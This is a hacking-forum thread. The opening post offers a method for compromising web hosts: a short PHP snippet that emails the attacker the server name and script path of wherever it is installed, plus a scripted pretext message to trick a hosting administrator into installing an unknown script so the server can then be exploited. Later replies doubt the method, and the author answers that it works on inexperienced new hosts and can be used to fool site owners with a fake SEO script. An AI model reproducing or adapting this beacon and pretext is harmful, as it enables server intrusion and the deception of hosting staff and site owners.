Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[Private] Site targeting reverse engineering


private coming  🤩



I tried to hack a site and did not find exploits ??
Today we have an idea
The idea is to injection the script

I have created a code in upload file + an email notification code

PHP Code

<?php 
$ms 
= $_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"]; 
$sub = "Victim (; " . $ms;  
$ee 
= '[email protected]'; 
$send = @mail($ee,$sub,$ms); 

change the email to your email

And now the most important step
Convince a hosting company administrator
Example :

PHP Code

<?php 
Hi
, I want to open a site in your hosting and I want to install a script.
I have had many problems with other hosting because the script did not work in hosting
Does the script work in your server 
? If the answer is yes
I want to hostingmy site after confirmation
, 

The text of the previous message goes back to your persuasive style
After completing the correspondence
Wait and 99% the response will be positive 🎉

When the script is placed on the site, the notification will be sent by e-mail
Then exploit the script
And hack the server

Note :
Often, the script will be uploaded to the demo folder
For the script you inject, you must have an unknown script
If I told him the script, or the WordPress version, surely he will have a copy of these famous scripts
The script should be uploaded through a popular upload site


Thanks  🤝
That is an interesting method, what if a website administrator decides to inspect the script and proceeds to notice that it's allowing uploads and emails the you back what then? Also have you ever contacted a hosting company with such a request? If so who and what was their response? If you contacted a site who and what was their response?
(Mar 23, 2018 01:31 PM)CyberStrike Wrote:  That is an interesting method, what if a website administrator decides to inspect the script and proceeds to notice that it's allowing uploads and emails the you back what then? Also have you ever contacted a hosting company with such a request? If so who and what was their response? If you contacted a site who and what was their response?

If you decide to send a popular forum script.
He will certainly have a copy of this script.
And of course the famous hosts will not be fooled.
The idea is that you fool new hosts, they need money and customers

I was use translate google with this post
(Mar 23, 2018 09:04 PM)Mr8n Wrote:  If you decide to send a popular forum script.
He will certainly have a copy of this script.
And of course the famous hosts will not be fooled.
The idea is that you fool new hosts, they need money and customers

I was use translate google with this post

Well I dunno about everyone else, but I closely inspect scripts, if I see obfuscation I de-obfuscate. I am sure that for example they probably have yara rules to quickly check the scripts at the very least. Like have you seen hosting providers do this and it's not just theory?
this is very very old method and worked with few hosts before not gonna work at all you must be more creative
(Mar 24, 2018 01:46 PM)xx 0x0 xx Wrote:  this is very very old method and worked with few hosts before not gonna work at all you must be more creative

So far this method works
hostings are increasing in a random way with no experience, until now I use them
 Even in deceiving the owner of the site
You can email the site owner as seo script


Possibly Related Threads...
Thread / Author Replies Views Last Post
by dddddvbhhjOct 20, 2024 01:02 PM 0 196 Oct 20, 2024 01:02 PM
Last Post: dddddvbhhj
by KyleZzaMar 28, 2014 06:19 AM 1 97 Mar 28, 2014 06:19 AM
Last Post: terrorxq
by Marcus AureliusApr 9, 2013 01:53 PM 5 188 Apr 9, 2013 01:53 PM
Last Post: Marcus Aurelius